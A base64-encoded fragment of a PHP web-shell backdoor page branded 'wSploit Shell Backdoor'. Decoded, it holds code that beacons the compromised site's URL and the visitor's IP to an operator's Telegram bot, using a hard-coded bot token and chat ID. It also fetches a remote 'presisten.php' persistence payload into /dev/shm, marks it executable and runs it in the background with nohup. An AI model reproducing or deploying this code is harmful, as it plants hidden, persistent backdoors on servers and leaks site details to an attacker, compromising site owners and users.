iAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdtb2RhbC1maWxlLWNvbnRlbnQnKS52YWx1ZSA9IGZpbGVDb250ZW50OwogICAgICAgIH0pOwogICAgfSk7Cn0pOwoKLyogTnVsaXMgKi8KY29uc3QgdGV4dFRvVHlwZSA9ICJUaGUgd1NwbG9pdCBTaGVsbCBCYWNrZG9vciI7CmNvbnN0IHR5cGluZ1NwZWVkID0gMTAwOyAvLyBUeXBpbmcgc3BlZWQgaW4gbXMKY29uc3QgdGV4dEVsZW1lbnQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudGV4dCIpOwpsZXQgY2hhckluZGV4ID0gMDsKZnVuY3Rpb24gdHlwZVRleHQoKSB7CiAgaWYgKGNoYXJJbmRleCA8IHRleHRUb1R5cGUubGVuZ3RoKSB7CiAgICB0ZXh0RWxlbWVudC50ZXh0Q29udGVudCArPSB0ZXh0VG9UeXBlW2NoYXJJbmRleF07CiAgICBjaGFySW5kZXgrKzsKICAgIHNldFRpbWVvdXQodHlwZVRleHQsIHR5cGluZ1NwZWVkKTsKICB9Cn0KLy8gU3RhcnQgdHlwaW5nIGFuaW1hdGlvbgp0eXBlVGV4dCgpOwo8L3NjcmlwdD4KPCEtLSBCb290c3RyYXAgSlMgZGFuIFBvcHBlci5qcyBDRE4gLS0+CjxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL0Bwb3BwZXJqcy9jb3JlQDIuMTEuNi9kaXN0L3VtZC9wb3BwZXIubWluLmpzIj48L3NjcmlwdD4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4zL2Rpc3QvanMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JpcHQ+CjxkaXYgY2xhc3M9ImZvb3RlciI+CiAgICA8aT5AMjAyNSB3U3Bsb2l0IEtpdCB8IDxhIGhyZWY9Imh0dHBzOi8vd2FyY2V1cHJvamVjdC5vcmciPldhcmNldSBQcm9qZWN0PC9hPjwvaT4KPC9kaXY+Cjw/cGhwCnNlc3Npb25fc3RhcnQoKTsgLy8gTWVtdWxhaSBzZXNzaW9uCgovLyBUb2tlbiBib3QgZGFuIGNoYXQgSUQKJGJvdF90b2tlbiA9ICc3NjEzMTExMDkyOkFBRmw4cWYydGx3NG9uODdlUUJ5akFhV3JRMnQ3ZmtxbnZrJzsgLy8gR2FudGkgZGVuZ2FuIHRva2VuIGJvdCBUZWxlZ3JhbSBrYW11CiRjaGF0X2lkID0gJzUzNjE0MzI0MTcnOyAvLyBHYW50aSBkZW5nYW4gY2hhdCBJRCBUZWxlZ3JhbSBrYW11CgovLyBNZW5kYXBhdGthbiBVUkwgc2FhdCBpbmkKJHVybCA9IChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT09ICdvbicgPyAiaHR0cHMiIDogImh0dHAiKSAuICI6Ly8kX1NFUlZFUltIVFRQX0hPU1RdJF9TRVJWRVJbUkVRVUVTVF9VUkldIjsKCi8vIE1lbmRhcGF0a2FuIGRvbWFpbiAoaG9zdG5hbWUpIHNhamEgZGFyaSBVUkwKJGRvbWFpbiA9IHBhcnNlX3VybCgkdXJsLCBQSFBfVVJMX0hPU1QpOwoKLy8gTWVuZGFwYXRrYW4gYWxhbWF0IElQIHBlbmdha3NlcwokaXBfYWRkcmVzcyA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoKLy8gTWVuZGFwYXRrYW4gd2FrdHUgc2FhdCBpbmkKJGRhdGUgPSBkYXRlKCdZLW0tZCBIOmk6cycpOwoKLy8gTWVtZXJpa3NhIGFwYWthaCBVUkwgYXRhdSBkb21haW4gc3VkYWggZGlraXJpbSBzZWJlbHVtbnlhCmlmICghaXNzZXQoJF9TRVNTSU9OWydzZW50X3VybHMnXSkpIHsKICAgICRfU0VTU0lPTlsnc2VudF91cmxzJ10gPSBbXTsgLy8gSW5pc2lhbGlzYXNpIGFycmF5IGppa2EgYmVsdW0gYWRhCn0KCi8vIEppa2EgVVJMIGF0YXUgZG9tYWluIGJlbHVtIHBlcm5haCBkaWtpcmltIHNlYmVsdW1ueWEsIGtpcmltIHBlc2FuIGtlIGJvdCBUZWxlZ3JhbQppZiAoIWluX2FycmF5KCR1cmwsICRfU0VTU0lPTlsnc2VudF91cmxzJ10pKSB7CiAgICAvLyBNZW1idWF0IHBlc2FuIHBlcnNvbmFsCiAgICAkbWVzc2FnZSA9ICJIZXkgeWFuZyBNdWxpYSBUdWFuIFN5biwgSGFtYmEgbWVuZGFwYXRrYW4gc3VyYXQgY2ludGEgZGFyaSAkaXBfYWRkcmVzc1xuIjsKICAgICRtZXNzYWdlIC49ICJBY3Rpdml0eSBMb2cgVXJsOiAkdXJsXG4iOwogICAgJG1lc3NhZ2UgLj0gIm9uIGRhdGU6ICRkYXRlIjsKCiAgICAvLyBNZW1idWF0IFVSTCB1bnR1ayBtZW5naXJpbSBwZXNhbiBrZSBib3QgVGVsZWdyYW0KICAgICRzZW5kX3VybCA9ICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JGJvdF90b2tlbi9zZW5kTWVzc2FnZSI7CgogICAgLy8gSW5pc2lhbGlzYXNpIGNVUkwKICAgICRjaCA9IGN1cmxfaW5pdCgpOwoKICAgIC8vIFBlbmdhdHVyYW4gY1VSTAogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHNlbmRfdXJsKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCB0cnVlKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7IC8vIEphbmdhbiB0YW1waWxrYW4gb3V0cHV0CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgKICAgICAgICAnY2hhdF9pZCcgPT4gJGNoYXRfaWQsCiAgICAgICAgJ3RleHQnID0+ICRtZXNzYWdlLAogICAgKSkpOwoKICAgIC8vIEVrc2VrdXNpIGNVUkwgdGFucGEgbWVuYW1waWxrYW4gcmVzcG9uCiAgICBjdXJsX2V4ZWMoJGNoKTsKCiAgICAvLyBUdXR1cCBrb25la3NpIGNVUkwKICAgIGN1cmxfY2xvc2UoJGNoKTsKCiAgICAvLyBNZW55aW1wYW4gVVJMIGtlIGRhbGFtIHNlc3Npb24gc2V0ZWxhaCBkaWtpcmltCiAgICAkX1NFU1NJT05bJ3NlbnRfdXJscyddW10gPSAkdXJsOwp9CgovLyBNZW5nYWtoaXJpIHNjcmlwdCB0YW5wYSBvdXRwdXQKZXhpdCgpOwo/Pgo8P3BocAoKJHVybCA9ICJodHRwczovL2dpdC53YXJjZXVwcm9qZWN0Lm9yZy9zeW4vd1NwbG9pdEh1Yi9yYXcvYnJhbmNoL21haW4vcGF5bG9hZC9tc2YvcHJlc2lzdGVuL3ByZXNpc3Rlbi5waHAiOwokZmlsZSA9ICIvZGV2L3NobS9zaG1kIjsKCi8vIE1lbmd1bmR1aCBmaWxlIGRhcmkgVVJMIGRhbiBtZW55aW1wYW5ueWEgZGkgL2Rldi9zaG0vc2htZApmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgZmlsZV9nZXRfY29udGVudHMoJHVybCkpOwoKLy8gTWVtYmVyaWthbiBpemluIGVrc2VrdXNpIHBhZGEgZmlsZQpjaG1vZCgkZmlsZSwgMDc1NSk7CgovLyBNZW5qYWxhbmthbiBmaWxlIGRpIGxhdGFyIGJlbGFrYW5nIGRlbmdhbiBub2h1cApzaGVsbF9leGVjKCJub2h1cCBwaHAgJGZpbGUgPiAvZGV2L251bGwgMj4mMSAmIik7Cgo/PgoKPC9ib2R5Pgo8L2h0bWw+CmtpcmExNDA2